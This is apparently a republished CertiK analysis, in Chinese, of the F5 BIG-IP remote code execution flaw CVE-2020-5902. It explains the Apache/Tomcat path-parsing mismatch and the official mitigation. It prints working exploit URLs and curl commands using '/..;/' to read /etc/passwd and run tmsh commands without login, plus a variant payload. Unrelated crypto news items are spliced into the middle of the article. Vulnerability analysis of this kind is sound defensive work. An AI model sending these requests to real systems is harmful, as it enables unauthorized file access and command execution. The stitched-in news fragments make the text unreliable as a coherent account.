ERT:CertiK：深度解析F5 BIG-IP远程代码执行漏洞-ODAILY

前言

今日一早起来推特以及各大技术论坛上炸开了锅，安全圈子的人都在讨论F5设备里远程代码执行的漏洞。很多讨论的内容，大部分是在分享如何寻找目标，利用漏洞，并没有关于对漏洞成因的分析。CertiK的安全研究员下载了存在漏洞的程序，搭建环境复现漏洞后，对漏洞的起因进行了分析，并在下文分享给大家。

背景

F5BIG-IP是美国F5公司的一款集成了网络流量管理、应用程序安全管理、负载均衡等功能的应用交付平台。PositiveTechnologies的研究人员MikhailKlyuchnikov发现其配置工具TrafficManagementUserInterface中存在远程代码执行漏洞，CVE编号为CVE-2020-5902。该漏洞CVSSv3评分为10分，攻击者可利用该漏洞创建或删除文件，关闭服务、执行任意的系统命令，最终获得服务器的完全控制权。CVE具体表述请查看文章底部参考链接1。

受影响的BIG-IP软件版本

漏洞利用

读取任意文件:

curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

Balancer批准三项流动性挖矿相关提案:上周末，Balancer对其新的治理提案进行了第一轮投票，三份提案都得到了利益相关者的批准。据悉，自动流动性和资产管理协议每周为向Balancer平台提供流动性的人分配145000 BAL。代币分配与每个地址的流动性贡献对应。为了得出一个管理分配的公式，Balancer上周发布了其最小治理工具，并就这一计算结果提出了三项提案。

第一个提案被称为“balFactor”，鼓励持有者使用他们的BAL代币来获得流动性，而不仅仅是兑现；第二项提案是通过降低对高收费池的挖矿处罚来修改“feeFactor”；第三项提案是将“wrapFactor”定为0.7，来应用于每对软锚定代币的流动性，以吸引更多有用的流动性加入协议。（BeInCrypto）[2020/7/20]

远程执行tmsh命令:

curl-k'https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

官方给出的临时修复方案(后文会对修复进行分析)：

声音 | CertiK基金会: 未与CYBEX接触合作 也未授权CYBEX出售代币:CYBEX近日单方面宣称计划发售CertiK IOU，CertiK 基金会对此毫不知情，也未曾与其接触合作。目前CertiK基金会没有授权任何机构出售代币，也不允许二次销售。[2019/7/26]

漏洞复现

在F5的官网注册账号之后，可以从F5的资源库中下载存在漏洞的BIG-IP软件。访问参考链接2可以下载BIG-IPTMOS(TrafficManagementOperatingSystem,流量管理操作系统)的虚拟机镜像。CertiK技术团队因为使用VmwareFusion,下载的是“BIGIP-15.0.0-0.0.39.ALL_1SLOT-vmware.ova-ImagefilesetforVMwareESX/iServer”。

在VmwareFusion中加载镜像(import)：

加载完成之后，使用默认用户名密码登陆系统：

用户名:root

密码:default

系统初始化之后，使用”ifconfig”命令查询虚拟机IP地址。CertiK技术团队的BIG-IPTMUI虚拟机IP地址为”172.16.4.137”。

动态 | CertiK Foundation推出专注于安全的区块链:据Cointelegraph消息，区块链网络安全公司CertiK宣布推出本土认证链区块链。此区块链的全部节点将运行在CertiKOS上，并表示，这是一个”经过充分验证的管理程序/并发操作系统内核“，提供军事级别的安全防范黑客攻击。此外，公告还声明区块链是由CertiK虚拟机支持，该虚拟机使用了公司的正式验证平台来确保其正确实现。[2019/7/23]

在浏览器中访问BIG-IPTMUI登陆界面:

https://172.16.4.137/tmui/login.jsp

复现任意文件读取:

在浏览器中访问以下地址可以读取”/etc/passwd”文件内容：

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

金色独家|CertiK联合创始人:只爆漏洞不是安全公司核心价值 既要盈利也要践行社会责任:金色财经现场报道，在6月27日在圣何塞会议中心举行的Blockchain Connect会议上，CertiK联合创始人顾荣辉接受金色财经专访中谈到区块链安全问题，他说：安全公司应该考虑既能保持盈利，也能履行社会责任。当前区块链安全问题不仅来自合约层，在公链、交易所也普遍存在。仅仅爆出漏洞不能真正解决不安全的现状，而更多的是为了给安全公司带来名气。安全公司应该帮助公链、交易所、智能合约层把BUG排除掉，用技术验证的形式，证明代码真正处于安全状态，以此增加区块链项目价值，践行安全公司的社会责任。顾荣辉进一步解释了CertiK研发的“形式化验证”技术：取代传统测试、代码审计的方法，用数学的方法证明代码模型与设计模型相匹配，从而确保区块链安全。[2018/6/28]

复现tmsh命令执行:

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

漏洞分析

韩国区块链公司Certon.In参与日本虚拟货币'BaaSid’项目:今日（5日）韩国区块链公司Certon.In宣布为了加强其子公司‘X-Chain’的个人认证服务将参与日本安全公司PRO主导准备的基于去中心化认证的虚拟货币项目 ‘BaaSid’。根据Certon.In公司的描述， ‘BaaSid’是将用户敏感的个人身份验证信息进行拆分，并将这些被拆分的信息在单独的节点上进行分离·分散的储存, 进行登录、付款或使用网上银行时可以进行暂时合并。该网络平台没有在线服务提供商（OSP）提供的中心化数据库，是一个即时验证（即时访问）的去中心化数据库公共网络平台。[2018/2/5]

在进入漏洞分析前，先要明确一点：漏洞利用中的fileRead.jsp和tmshCmd.jsp文件在用户登陆后本身是可以被访问的。

下面的截图显示了登陆前和登陆后访问以下URL的区别：

https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

登陆前访问：

被跳转回登陆界面

输入账号密码登陆管理界面之后再访问，可执行fileRead.jsp读取文件。

fileRead.jsp和tmshCmd.jsp虽然是在PoC中最终被利用的文件，但是他们并不是漏洞的起因。此漏洞的本质是利用Apache和后台Java(tomcat)对URL的解析方式不同来绕过登陆限制,在未授权的情况下，访问后台JSP模块。CertiK技术人员第一次注意到此类型漏洞是在2018年Orange的BlackHat演讲:“BreakingParserLogicTakeYourPathNormalizationOffandPop0DaysOut”.这里可以查看演讲稿件(参考链接2)。

这里我们可以理解在F5BIG-IP的后台服务器对收到了URL请求进行了两次的解析，第一次是httpd(Apache),第二次是后一层的Java(tomcat).

在URL在第一次被Apache解析时，Apache关注的是URL的前半段https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

当Apache在看见前半段是合法URL且是允许被访问的页面时，就把它交给了后面的第二层。Apache在这里完全把URL里面关键的/..;/给无视了。

在URL在第二次被解析时，后面的Java(tomcat)会把/..;/理解为，向上返回一层路径。此时,/login.jsp/和/..;/会抵消掉。Tomcat看到的真正请求从

https://172.16.4.137/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

变成了:

https://172.16.4.137/tmui/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

再来fileRead.jsp并没有对收到的请求进行身份验证，后台因此直接执行fileRead.jsp,读取并返回了/etc/passwd文件的内容。

根据以上的思路，其实可以找出别的利用漏洞的URL,比如:

https://172.16.4.137/tmui/tmui/login/legal.html/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

这里“https://172.16.4.137/tmui/tmui/login/legal.html”和之前的“login.jsp”一样，是一个不需要登陆就能访问的页面。但是因为要向上返回两次，需要用两个/..;/来抵消掉”/login/legal.html”。

回到开头提到的官方给出的临时修复方案,修复方案的本质是在httpd的配置中添加以下规则:

include'

<LocationMatch".*\\.\\.;.*">

Redirect404/

</LocationMatch>

'

这个规则的意思是，当http服务器在监测到URL中包含..;(句号句号分号)的时候，直接返回404.这样利用漏洞的请求就没办法到达后台(第二层)了。

如何避免漏洞：

此漏洞的利用方式在网络上公开之后，因为它的攻击成本低廉，大批黑客都开始图谋利用此漏洞攻击使用F5BIG-IP产品的系统。黑客只需要付出极小的代价就能获得目标系统的控制权，对系统产生巨大的破坏。

俗话说：“不怕贼偷，就怕贼惦记”。即便这样的黑客攻击事件这次没有发生在你身上，不代表你是安全的。因为很有可能黑客的下一个目标就是你。

而Certik的专业技术团队会帮你彻底打消这种“贼惦记”的担忧。CertiK专业渗透测试团队会通过对此类事件的监测，第一时间给客户提交漏洞预警报告，帮助客户了解漏洞细节以及防护措施。此举可以确保客户的系统不受攻击并且不会遭受财产损失。

同时作为一名安全技术人员，在新漏洞被发现的时，不仅需要知道漏洞是如何被黑客利用的，更要去探寻漏洞背后的原因，方可积累经验，更加有能力在复杂的系统中发现隐藏的漏洞。

CertiK以及其技术人员，将永远把安全当做信仰，与大家一同学习并一同成长。

参考链接

1.https://cve.mitre.org/

2.https://downloads.f5.com/

3.https://i.blackhat.com/

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